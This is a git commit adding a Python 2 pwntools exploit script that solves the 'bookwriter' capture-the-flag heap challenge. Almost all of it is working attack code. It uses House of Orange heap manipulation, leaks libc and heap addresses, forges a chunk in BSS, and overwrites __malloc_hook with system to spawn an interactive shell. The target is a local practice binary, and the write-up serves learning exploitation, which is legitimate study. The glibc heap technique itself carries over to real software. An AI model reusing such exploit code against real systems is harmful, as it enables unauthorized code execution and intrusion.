Finished OtherBin/bookwriter
This commit is contained in:
102
OtherBin/bookwriter/answer.py
Executable file
102
OtherBin/bookwriter/answer.py
Executable file
@@ -0,0 +1,102 @@
|
||||
#!/usr/bin/env python2
|
||||
# coding = utf-8
|
||||
# Environment: Ubuntu 16.04
|
||||
|
||||
from pwn import *
|
||||
from LibcSearcher import *
|
||||
context(arch = "amd64", os = "linux", log_level = "debug")
|
||||
|
||||
def send_choice(choice):
|
||||
p.recvuntil('Your choice :')
|
||||
p.sendline(str(choice))
|
||||
|
||||
def input_author(data):
|
||||
p.recvuntil('Author :')
|
||||
p.send(data)
|
||||
|
||||
def add_data(size, data):
|
||||
send_choice(1)
|
||||
p.recvuntil('Size of page :')
|
||||
p.sendline(str(size))
|
||||
p.recvuntil('Content :')
|
||||
p.send(data)
|
||||
|
||||
def view_data(index):
|
||||
send_choice(2)
|
||||
p.recvuntil('Index of page :')
|
||||
p.sendline(str(index))
|
||||
p.recvuntil('Content :\n')
|
||||
|
||||
def edit_data(index, data):
|
||||
send_choice(3)
|
||||
p.recvuntil('Index of page :')
|
||||
p.sendline(str(index))
|
||||
p.recvuntil('Content:')
|
||||
p.send(data)
|
||||
|
||||
def info_read():
|
||||
send_choice(4)
|
||||
p.recvuntil('Author : ')
|
||||
buf = p.recvuntil('\n')
|
||||
p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
|
||||
p.sendline("0")
|
||||
return buf
|
||||
|
||||
def info_write():
|
||||
send_choice(4)
|
||||
p.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
|
||||
p.sendline("1")
|
||||
|
||||
|
||||
p = process('./bookwriter')
|
||||
elf = ELF('./bookwriter')
|
||||
# gdb.attach(p, '')
|
||||
|
||||
input_author('a' * 0x40)
|
||||
|
||||
# Step 1: Use `House of Orange` to get a free chunk in unsorted bin
|
||||
add_data(0x18, 'a' * 0x18) # Create Chunk on page[0]
|
||||
edit_data(0, 'a' * 0x18) # Update page_size[0] to a larger size
|
||||
edit_data(0, '\x00' * 0x18 + '\xe1\x0f\x00')# Overwrite `mchunk_size` domain of Top Chunk to a smaller size,
|
||||
# Data starting with `\x00` make `page_size[0] = 0` to enable an extra malloc
|
||||
add_data(0x1fe1, 'a' * 20) # Create Large Chunk on page[1] to make ptmalloc recycle current small Top Chunk into Unsorted Bin
|
||||
|
||||
# Step 2: Unsorted Bin Libc Leak
|
||||
add_data(0x40, '\x10') # The chunk just entered UnsortedBin will be placed in LargeBin and split, then return, so page[2] cannot leak libc
|
||||
# Mustn't allocated all `0xfb8` size of UnsortedBin or No Backward Pointer from `main_arena`
|
||||
add_data(0x40, '\x10') # Create Data[3] to leak `__malloc_hook` using `fd` domain of Unsorted Bin
|
||||
view_data(3) # Address End with `\x10` is exactly `__malloc_hook`
|
||||
libc_malloc_hook = u64(p.recv(6) + '\x00\x00')
|
||||
libc = LibcSearcher('__malloc_hook', libc_malloc_hook)
|
||||
libc_base = libc_malloc_hook - libc.dump('__malloc_hook')
|
||||
system_libc = libc_base + libc.dump('system')
|
||||
log.info('libc_base: ' + hex(libc_base))
|
||||
log.info('system_libc: ' + hex(system_libc))
|
||||
|
||||
# Step 3: Leak Heap Address using printing `author_bss`
|
||||
heap_addr = u64(info_read()[0x40:-1].ljust(8, '\x00'))
|
||||
log.info('heap_addr: ' + hex(heap_addr))
|
||||
|
||||
# Step 4: Fake a chunk on author_bss
|
||||
author_bss = 0x602060
|
||||
top_chunk = libc_malloc_hook - 0x10 + 0x78
|
||||
info_write()
|
||||
input_author('/bin/sh\x00' + p64(0x111) + p64(top_chunk) * 2 + p64(0) * 4) # `fd` & `bk` point to Top Chunk to prevent validation error
|
||||
|
||||
# Step 5: Fill All the page[] term to overwrite page_size[0](page[8]) to control the heap
|
||||
for i in range(5):
|
||||
add_data(0x40, 'a') # A large heap address is assigned to page_size[0] therefore enable a large size input on heap
|
||||
"""
|
||||
Extend UnsortedBin Double Linked List to data on BSS.
|
||||
Mention that although the double linked list is corrupted, the program won't abort
|
||||
but will allocate chunk we faked on the BSS.
|
||||
"""
|
||||
edit_data(0, '\x00' * 0x240 + p64(0xdead) + p64(0x41) + p64(author_bss) * 2) # Exactly overwrite the free unsorted chunk
|
||||
add_data(0x100, 'a' * 0x30 + p64(libc_malloc_hook - 8))
|
||||
edit_data(0, p64(0) + p64(system_libc)) # Set page_size[0] to 0 to enable a next malloc invocation (getshell)
|
||||
p.sendline("1")
|
||||
p.recvuntil('Size of page :')
|
||||
p.sendline(str(author_bss))
|
||||
|
||||
p.interactive()
|
||||
|
||||
Reference in New Issue
Block a user